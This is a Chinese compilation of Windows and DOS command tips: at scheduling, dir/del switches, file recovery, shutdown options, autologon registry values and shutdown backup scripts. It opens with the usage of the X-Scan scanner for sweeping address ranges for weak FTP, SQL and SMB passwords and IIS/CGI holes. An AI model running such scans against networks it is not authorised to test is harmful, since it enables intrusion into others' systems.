xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息

检测项目

-active 检测主机是否存活

-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)

-port 检测常用服务的端口状态

-ftp 检测FTP弱口令

-pub 检测FTP服务匿名用户写权限

-pop3 检测POP3-Server弱口令

-smtp 检测SMTP-Server漏洞

-sql 检测SQL-Server弱口令

-smb 检测NT-Server弱口令

-iis 检测IIS编码/解码漏洞

-cgi 检测CGI漏洞

-nasl 加载Nessus攻击脚本

-all 检测以上所有项目

其它选项

-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取

-l 显示所有网络适配器

-v 显示详细扫描进度

-p 跳过没有响应的主机

-o 跳过没有检测到开放端口的主机

  -t 并发线程数量,并发主机数量指定最大并发线程数量和并发主机数量, 默认数量为100,10

-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)

用法示例

xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机

xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机

xscan -file hostlist.*t -port -cgi -t 200,5 -v -o 检测“hostlist.*t”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机.

at命令的用法

At

列出在指定的时间和日期在计算机上运行的已计划命令或计划命令和程序。必须正在运行“计划”服务才能使用 at 命令。

at [\\computername] [[id] [/delete] | /delete [/yes]]

at [\\computername] time [/interactive] [/every:date[,...]| /next:date[,...]] command

参数

如果在没有参数的情况下使用,则 at 列出已计划的命令。

\\computername

指定远程计算机。如果省略该参数,命令将安排在本地计算机。

id

指定指派给已计划命令的识别码。

/delete

取消已计划的命令。如果省略了 id,计算机中已计划的命令将被全部取消。

/yes

当删除已计划的事件时,对系统的查询强制进行肯定的回答。

time

指定运行命令的时间。将时间以 24 小时标记(00:00 [午夜] 到 23:59)的方式表示为小时:分钟。

/interactive

允许作业与在作业运行时登录用户的桌面进行交互。

/every:date[,...]

在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行命令。将 date 指定为星期的一天或多天 (M,T,W,Th,F,S,Su),或月的一天或多天(使用 1 到 31 的数字)。用逗号分隔多个日期项。如果省略了 date,将假定为该月的当前日期。

/next:date[,...]

在重复出现下一天(例如,下个星期四)时,运行指定命令将 date 指定为星期的一天或多天 (M,T,W,Th,F,S,Su),或月的一天或多天(使用 1 到 31 的数字)。用逗号分隔多个日期项。如果省略了 date,将假定为该月的当前日期。

command

指定要运行的 Windows 2000 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的 UNC 符号,而不是远程驱动器号。如果命令不是可执行 (.exe) 文件,必须在命令前加上 cmd /c,例如:

cmd /c dir > c:\test.out

XP中DOS命令新增功能

2006-10-16 9:06:36  发布人:小路

自从Windows XP操作系统推出后,人们在热情的使用Win XP的时候却很少注意到Win XP附带的DOS操作环境,实际上在Win XP中已经增强了部分DOS命令的功能,感受Win XP下DOS的功能变化。

Dir,列文件、目录

/-C :DIR列文件、目录时显示的文件大小,其数值以千为单位进行分隔,使用此参数即“DIR/-C”将取消显示中的分隔符,以满足部分人的视觉习惯。

/Q :Windows是多用户操作系统,使用此参数即“DIR /Q”列文件、目录时,将显示出文件、目录的用户属性。

/T:C、/T:A、/T:W :使用此参数即“DIR/T:C”、“DIR/T:A”、“DIR/T:W”分别显示文件、目录的创建时间、上次访问时间和上次修改时间。

/X :使用此参数即“DIR/X”列文件、目录时,会对长文件名同时显示“8.3”格式的文件名。

CD,改变目录

/D :此参数的作用是快速改变当前目录,比如当前目录是C:Windows,使用命令“CD/D E:Tools”可快速切换到E:Tools目录下。注:只有在Win XP的“运行”文本框中输入“CMD”得到的DOS窗口中才能使用此参数。

MD,建立目录

功能说明:此命令并未增加参数,但是增强了功能,它可一次建立多级子目录,例如使用命令“MD AABBCCDD”将一次性创建AA、BB、CC、DD四级子目录。而在老版本的DOS中,若不存在AA子目录,便无法直接建立AA下的BB等深层子目录。

RD,删除目录

/S :使用此参数即“RD/S”用于删除目录树,即删除目录及目录下的所有子目录和文件,相当于以前版本中的DELTREE命令。

/Q :使用上面的/S参数删除目录树时,系统会要求用户确认是否真的要删除。若同时使用/Q参数即“RD/S /Q”,在进行删除操作时将取消确认,相当于DELTREE命令的/Y参数。

DEL,删除文件或目录

/F :使用此参数即“DEL/F”可删除只读文件。

/S、/Q :使用此参数即“DEL/S”作用与“RD/S”完全相同,即删除目录及目录下的所有子目录和文件。同时使用参数/Q,可取消删除操作时的系统确认。

/A :删除指定属性或指定属性以外的文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件。

ATTRIB,更改文件或目录的属性

/D :在Win XP中我们不能把文件或文件夹设置为系统属性,只能设为只读、隐藏或存档属性。而带参数/D使用ATTRIB命令可以对文件的所有属性进行设定,设定时必须与参数/S同时使用。例如“ATTRIB /S /D +S D:Study”,作用是将D:Study文件夹设置为系统文件夹。

Format,格式化磁盘

/FS:filessystem :按指定文件系统类型(FAT、FAT32、NTFS)格式化磁盘,例如“format /FS:NTFS”。

DATE、TIME,显示系统日期和时间

/T :使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间。

十、WIN-DOS命令实例.

1、恢复误删文件

    故障现象:

    开机蓝屏无法进入Windows98。

    定性分析:

    开机按F8,选择Safe Mode(安全模式),同样蓝屏无法进入,再次重启按F8,选择Step-By-Step Confirmation(一步一步配置),逐个确定,到达某一步时,出现“The folowing file is missing or corrupted:c:\windows\ifshlp.sys”,什么意思?(E文不好,只好查英汉词典,大概意思是:ifshlp.sys文件丢失或被破坏,经过回忆,上次关机之前曾经删除过c:\windows下的一些无用文件,如txt文件等,看来ifshlp.sys文件在这次轰炸行动中被误击了。

    不能进入Windows系统,只能在DOS环境下恢复了,按照已往的经验具体问题具体分析:

    第一种情况:回收站误删,并且未被清空。

    在DOS下进入回收站目录进行恢复。主要DOS命令:cd、type、copy (本例属于这种情况。)

    恢复步骤:

    1.开机按F8,选择Command Prompt Only(命令行方式,即DOS实模式)回车

2.输入CD Recycled回车,如图:

    3.输入Type info2回车,查看回收站删除记录文件,发现ifshlp.sys和它改名后的文件名dc2.sys,太棒了!果真还再!

    4.copy dc2.sys c:\windows\ifshlp.sys回车,复制被删文件dc2.com到原始位置c:\windows,并改成原名ifshlp.sys,至此恢复成功。

    第二种情况:del命令误删,并且知道文件名。

    在DOS下进入被删文件所在目录进行恢复。主要DOS命令:undelete (DOS6.22里的一个外部命令)。

    恢复步骤:

    1.开机按F8,选择Command Prompt Only回车,进入DOS实模式

    2.输入cd windows回车,进入Windows目录

3.输入lock回车,是一个内部命令,目的是解除Windows98里硬盘目录区不让修改的限制,为下一步使用undelete做准备,如果不用lock,Undelete就无法运行,如图:

    4.输入Undelete回车,恢复当前文件夹里的所有可以恢复的被删除文件,这时出现第一个被删文件显示bc.txt,很明显这不是我们要恢复的文件英文,显示是否恢复(y/n?)按n,接着出现

?fshlp.sys(y/n?),哇!找到了!当然按y了,又显示一行英文,意思是说文件名的第一个字符是什么,因为第一个字符是i,当然按i了,dir/a,ifshlp.sys回来了,成功!

    第三种情况:回收站误删,并且被清空,或者被deletree误删,并且文件数目不多。

    用Win98启动盘启动电脑进行恢复。主要DOS命令:ext和extract

    恢复步骤:

    1.用Win98启动盘启动电脑

2.输入ext回车,如图:

出现两行英文不要管它,输入c:\mybak\pwin98\win98(Windows98的安装目录,按实际情况输入),回车,输入ifshlp.sys回车,输入c:\windows回车,最后输入y,回车。下面就是耐心的等待了,直到又出现a:\>,拿出软盘重启,大功告成。

    第四种情况:与第三种情况类似,但被删文件数目很多,且都是Windows系统文件。

    只能用专业文件恢复软件或重装Win98等方法恢复了,因不属于DOS命令范畴,故不做讨论。

2合并VCD片断--copy的完美解决方案

    问题:

    最近下载了许多MPG(VCD)电影,但一个600MB的电影被分割成6个100MB的文件,观看起来很不方便,也不过瘾,于是想把它们合并成一个文件观看。

    定性:

    对于简单的合并一般人用Windows软件如VCDCutter,但它对合并的文件大小有限制,且合并速度也慢,其实用DOS命令copy最合适,正所谓“杀鸡焉用宰牛刀”。

    分析:

    copy的二进制文件合并功能的参数是/B。

    解决:

    例如想把c:\down里面的3个mpg文件:1.mpg,2.mpg,3.mpg合并成一个mpg文件并取名为4.mpg,步骤是:

    (一)在Win98中打开MS-DOS方式窗口

(二)如图:

为PDOS95添加五笔字型输入法

上网下载五笔字型for Pdos95,下载压缩包为WB.zip.解压可得到WB.TBL文件.复制到

C:\Win\command下.用记事本编辑C:\Win\command\Pdos95.BAT文件加一行

instdict Wb.保存即可。今后在dos下键入 pdos95即可有五笔字型输入法了。

 

虚拟内存文件位置:

WinXP为pagefile.sys.

删文件打开方式中的程序关联:

SFC命令:

可启用文件保护功能,设置扫描的方式,设置文件缓存大小等。

命令格式:SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/REVERT] [/PURGECACHE] [/CACHESIZE=x]

参数说明:

/SCANNOW 立即扫描所有受保护的系统文件

/SCANONCE 下次启动时扫描所有受保护的系统文件

/SCANBOOT 每次启动时扫描所有受保护的系统文件

/REVERT 将扫描返回到默认设置

/PURGECACHE 清除文件缓存

/CACHESIZE=X 设置文件缓存大小

使用方法: XP:开始/运行/输入CMD弹出提示符/输入相应的SFC命令。

密码为空时自动登录

M\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

建AutoAdminLogon=1自动登录/0禁止自动登录建Defaultpassword=用户密码。

打开DefaultDomainName=域名、DefaultUserName=用户名、ShutdownWithoutLogon=0自动登录/1第一次重启才自动登录。用其他用户登录:显登录框前按Shift键登录。

Win2003也识别USB设备

开始/运行/mountvol /e回车重启。即和XP一样自动识别USB。

第一次用闪存盘或移动硬盘时,系统发现新硬件,并能识别。但在“我的电脑”中却没有对应的盘符,必须在设备管理器中指定一个盘符才可使用。mountvol是创建、删除或列出卷的装入点,参数e表示再次启用新卷的自动装入。

DOS下快速重启关机:

提示符输入restart即重启,输入 win /z屏显“按任意键继续”按任意键即关机。

2000中自动关闭停止响应的程序

USER\Control Panel\desktop\AutoEndTasks=1即可。

添加光盘右键菜单项

[autorun]

open="EXPLORER.EXE\"

shell\诺顿工具\command="工具\Norton\Nucd.exe"

shell\听歌\command="工具\Winamp\Winamp.exe文档\歌曲\曲目1.m3u"

shell\我的文档\command="EXPLORER.EXE文档\文件\"

shell\图形素材\command="EXPLORER.EXE/e,文档\图形\。(/e用资管器窗口打开)

命令格式是:shell\(显示在右键菜单中的文字)\command="程序路径+空格+参数+空格+文件或文件夹路径"

清空临时文件夹

开始/运行/键入cmd/键入如下命令/回车。

cd /d %temp%   /d-改变目录或驱动器;%temp%临时文件夹

del *.* /s /q  /s-删目录及目录下子目录和文件,/q-取消确认

合并TXT文件

打开/运行/CMD/COPY *.txt my.txt。

文件目录及详细情况编辑到文件中

DIR >xx.TXT。

无软驱装必须从软盘加载的程序

1用HD—COPY(或UltraISO)将第一张软盘做.IMG的镜像文件,存在c:\xx下。2.用IMGDrive或其他将.img解压到c:\xx夹下。

3将c:\xx夹转到无软驱电脑中,

4开始/运行/输入:command(98)或cmd(NT)/再输入:Subst A:c:\xx回车即可。

设置自动关机重启时间

这个方法是利用cmd.exe实现的。 

cmd.exe就想以前的command.com一样,运行以后是一个DOS窗口。但是cmd.exe的功能及其强大,远远超过了command.com,而且cmd.exe还能够实现99%的在图形界面下的功能。所以一旦取得cmd.exe的控制权就能够掌握整个系统。 

在Windows XP中的cmd.exe多了一个很有用的东西:shutdown 使用这个东西就能够实现自动关机/重启等操作。使用方法如下: 

运行cmd.exe, 输入shutdown,回车就可以看到使用帮助(全中文的),这里列出来做分别解释: 

用法: shutdown [-i | -l | -s | -r | -a] [-f] [-m \\computername] [-t xx] [-c "comment"] [-d up:xx:yy] 

没有参数 显示此消息(与 相同) 

-i 显示 GUI 界面,必须是第一个选项 ---------->>> 显示图形界面,在这里可以设置远程关机、关机提示等信息 

-l 注销(不能与选项 -m 一起使用) ---------->>> 没有什么好说的,就是能够换一个用户名登陆 

-s 关闭此计算机 ---------->>> 没有什么好说的,不过使用这个以后,最后会出现一个可以安全关机的提示,这时候还要按一下电源开关。 

-r 关闭并重启动此计算机 ---------->>> 就是重新启动了。 

-a 放弃系统关机 ---------->>> 如果还来得及的话,使用这个参数可以放弃正在进行的关机操作。一般有30秒钟延时。 

-m \\computername 远程计算机关机/重启动/放弃 ---------->>> 网络中经常使用的。 

-t xx 设置关闭的超时为 xx 秒 ---------->>> 我最喜欢使用的一个参数。利用它就可以指定关机时间了。单位:秒 

-c "comment" 关闭注释(最大 127 个字符) ---------->>> 用于给别人的提示 

-f 强制运行的应用程序关闭而没有警告 ---------->>> 没有什么好说的,不过要注意,强制关闭应用程序是不会保存的。 

-d [u][p]:xx:yy 关闭原因代码 ---------->>> 这里请看微软技术支持。我手头上没有具体代码。 

u 是用户代码 

p 是一个计划的关闭代码 

xx 是一个主要原因代码(小于 256 的正整数) 

yy 是一个次要原因代码(小于 65536 的正整数)

让系统关机时自动备份文件的脚本

每次关机的时候,我们都需要保存一下各种文件,但是还有很多系统状态信息都会被遗漏,比如IE的收藏夹、Cookies、一些应用程序的数据等等。那么,能不能在我们每次关机的时候,让系统自动为我们备份这些文件呢?在Windows 2000/XP中,我们可以使用控制台来建立关机脚本,这些脚本在你发出关机指令后会在后台执行,自动备份这些重要信息。

步骤1单击开始运行,输入mmc并回车,启动控制台。单击文件、 

“添加/删除控制台单元,从弹出的对话框中单击左下角的添加按钮,然后从打开的可用的独立控制单元中选择组策略,单击添加按钮,再连续单击确定按钮退回到控制台界面。

步骤2在控制台界面左侧控制台根节点下的“‘本地计算机策略中依次展开Windows设置脚本(启动/关机),双击右侧窗口中的关机,打开关机属性界面。

步骤3在关机属性界面中单击添加按钮打开添加脚本对话框,我们可以为脚本命名,如Backup.bat

步骤4设置完成后单击文件保存命令来保存控制台,以便以后进行调整。下次关机的时候,你会发现关机提示窗口中除了正在关机...这样的信息外,还会显示正在执行关机脚本的提示,表明关机脚本正在执行。

步骤5现在我们来为关机脚本文件添加内容。由于我们是进行数据备份,因此使用XCOPY命令最为简单有效。比如我们希望每次关机的时候收藏夹内容都被备份到移动硬盘上(假设该移动硬盘盘符为F),那么可以在批处理文件中加入这样的命令:

XCopy "C:\Documents and Settings\Administrator\ Favorites" F:\Backuup\Favorite /E /y 

参数E表示复制所有的子文件夹;由于关机脚本执行的时候不提供任何反馈信息,因此参数Y是必须的,否则发现同名文件后,XCOPY会提示是否覆盖从而导致命令无法顺利执行。

提示:制作关机脚本时要注意,一定要保证其执行中不能出错、无需用户干预。只要有一条命令出错或者等待用户输入,下面的命令都将无法执行。如果你觉得使用XCOPY太麻烦,还有一个窍门:在控制面板中建立一个计划任务,设置这个任务为一次执行(不需要为其制定执行计划),执行的任务就是你需要备份的文件。保存这个任务后在控制面板任务计划中单击新添加的任务,然后用鼠标右键选择属性,复制属性窗口中的命令行,再将这个命令行粘贴到批处理文件中即可。

XP定时自动关机

XP的系统目录windowssystem32中有一个shutdown.exe文件,它就是Windows自带的一个关机程序。如果让你的电脑在AM1:00(凌晨1点)关机,点开始”→“运行,输入at 1:00shutdown -s,到了凌晨1点电脑就会出现系统关机对话框,默认有30秒钟的倒计时并提示你保存工作。如果你想以倒计时的方式关机,可以输入shutdown -s-t 6000,表示6000秒后系统将自动关机。

取消:运行中输入shutdown -a。此外输入shutdown -i打开设置自动关机对话框对自动关机设置。

如果还想获得更详细的参数信息可以通过运行 shutdown -help来获得。

XP中实现远程关机

XP中,新增了一条命令行工具shutdown,作用是关闭或重新启动本地或远程计算机。利用它,我们不但可以注销用户,关闭或重新启动计算机,还可以实现定时关机、远程关机。

该命令的语法格式如下:

shutdown [-i |-l|-s |-r |-a] [-f] [-m [\\ComputerName]] [-t xx] [-c "message"] [-d[u][p]:xx:yy] 其中,各参数的含义为:

-i 显示图形界面的对话框。

-l 注销当前用户,这是默认设置。-m ComputerName 优先。

-s 关闭计算机。

-r 关闭之后重新启动。

-a 中止关闭。除了 -l 和 ComputerName 外,系统将忽略其它参数。在超时期间,您只可以使用 -a。

-f 强制运行要关闭的应用程序。

-m [\\ComputerName] 指定要关闭的计算机。

-t xx 将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。

-c "message" 指定将在系统关闭窗口中的消息区域显示的消息。最多可以使用 127 个字符。引号中必须包含消息。

-d [u][p]:xx:yy 列出系统关闭的原因代码。

首先,我们来看一下该命令的一些基本用法:

1、注销当前用户

shutdown - l

该命令只能注销本机用户,对远程计算机不适用。

2、关闭本地计算机 shutdown - s

3、重启本地计算机 shutdown - r

4、定时关机 shutdown - s -t 30  指定在30秒之后自动关闭计算机。

5、中止计算机的关闭

有时我们设定了计算机定时关机后,如果出于某种原因又想取消这次关机操作,就可以用 shutdown - a 来中止。如:

shutdown -s t 300 设定计算机在5分钟后关闭。

Shutdown a 取消上述关机操作。

以上是shutdown命令在本机中的一些基本应用。

对远程计算机进行操作。

在该命令的格式中,有一个参数[-m [\\ComputerName],用它可以指定将要关闭或重启的计算机名称,省略的话则默认为对本机操作。用以下命令试一下:

shutdown s m \\netproxy -t 30

(在30秒内关闭计算机名为netproxy的机器;注:netproxy为局域网内一台同样装有 XP的电脑)

但该命令执行后,计算机netproxy一点反应都没有,我的屏幕上却返回这样一句话:Access is denied (拒绝访

 XP中查看计算机开关机记录

可以通过事件查看器的事件日志服务查看计算机的开、关机时间。因为事件日志服务会随计算机一起启动和关闭,并在事件日志中留下记录。

在这里有必要介绍两个ID号:6006和6005。在事件查看器里ID号为6006的事件表示事件日志服务已停止,如果你没有在当天的事件查看器中发现这个ID号为6006的事件,那么就表示计算机没有正常关机,可能是因为系统原因或者直接按下了计算机电源键,没有执行正常的关机操作造成的。当你启动系统的时候,事件查看器的事件日志服务就会启动,这就是ID号为6005的事件。

查看计算机开、关机记录:打开控制面板/管理工具/事件查看器/左窗选择系统/右击/快捷菜单中选择属性/系统属性/筛选器/事件类型/信息/并在事件来源列表中选择eventlog选项,继续设定其他条件后,单击确定按钮,即可看到需要的事件记录了。双击某条记录,如果描述信息为事件服务已启动,那就代表计算机开机或重新启动的时间,如果描述信息是事件服务已停止,即代表计算机的关机时间。

DOS下实现关机的命令

在纯DOS下进入WINDOWS界面可以用WIN命令,WIN命令的参数如下:

WIN/F    关闭32为磁盘访问方式

WIN/M  以安全模式启动到WINDOWS

WIN/N  以网络安全模式启动到WINDOWS,比WIN/M参数多了网络功能

WIN/W和WIN/M这两个参数的作用基本一样,可实现在DOS模式下让计算机重新启动(软重启)唯一不同的是,用/W会提示按任意键后重启,使用/W则直接重启

WIN/Z  可以实现DOS模式下的软关机,当输入WIN/Z后,按任意键,WINDOWS会立即关闭计算机,不必用手去按电源开关了。

七种运行命令

1. Winmsd--打开“系统信息”窗口,供用户查看Windows系统的硬件资源、组件和软件资源等信息。

2. Devmgmt.msc-- 打开“设备管理器”窗口,显示系统中所安装硬件的详细信息,包括名称、驱动程序、相应资源分配等。

3.Drwtsn3--系统医生

4.Dxdiag--游戏好伙伴的DirectX的重要性也不言而喻了,你了解多少呢“DirectX诊断工具”就是你“窥探”它秘密的利器.

5.Perfmon.msc--机在工作时的即时状态吗打开计算机性能监视程序,它通过多种方式将系统性能数据展现在你的面前.

6.Explorer--打开资源管理器,详尽了解自己的各种“装备”。

7.Regedt32、Regedit--这两条命令都可以打开“注册表编辑器”

Win中“运行”命令

1.注册表编辑工具:regedit.exe

2.系统配置实用程序:msconfig.exe(Windows2000要另行配置才能用此程序)

3.编辑右键“发送到”命令:sendto

4.计算机管理 : compmgmt.msc

5.设备管理器 : devmgmt.msc

6.磁盘管理 : diskmgmt.msc

7.磁盘碎片整理程序: dfrg.msc

8.事件查看器 : eventvwr.msc

9.共享文件夹 : fsmgmt.msc

10.组策略 : gpedit.msc

11.本机用户和组 : lusrmgr.msc

12.性能 : perfmon.msc

13.本地安全设置 : secpol.msc

14.服务 : services.msc

15.策略的结果集: rsop.msc

在DOS中使用系统还原工具  

在系统上电自检声响后,Windows欢迎屏幕出现之前按下F8键,接着在菜单中选择Safe Mode with Command Prompt,然后使用管理员身份登录,在命令行提示符后输入:%systemroot%\ system32\restore\rstrui.exe,回车后跟随屏幕上的向导将系统恢复到以前的正常状态。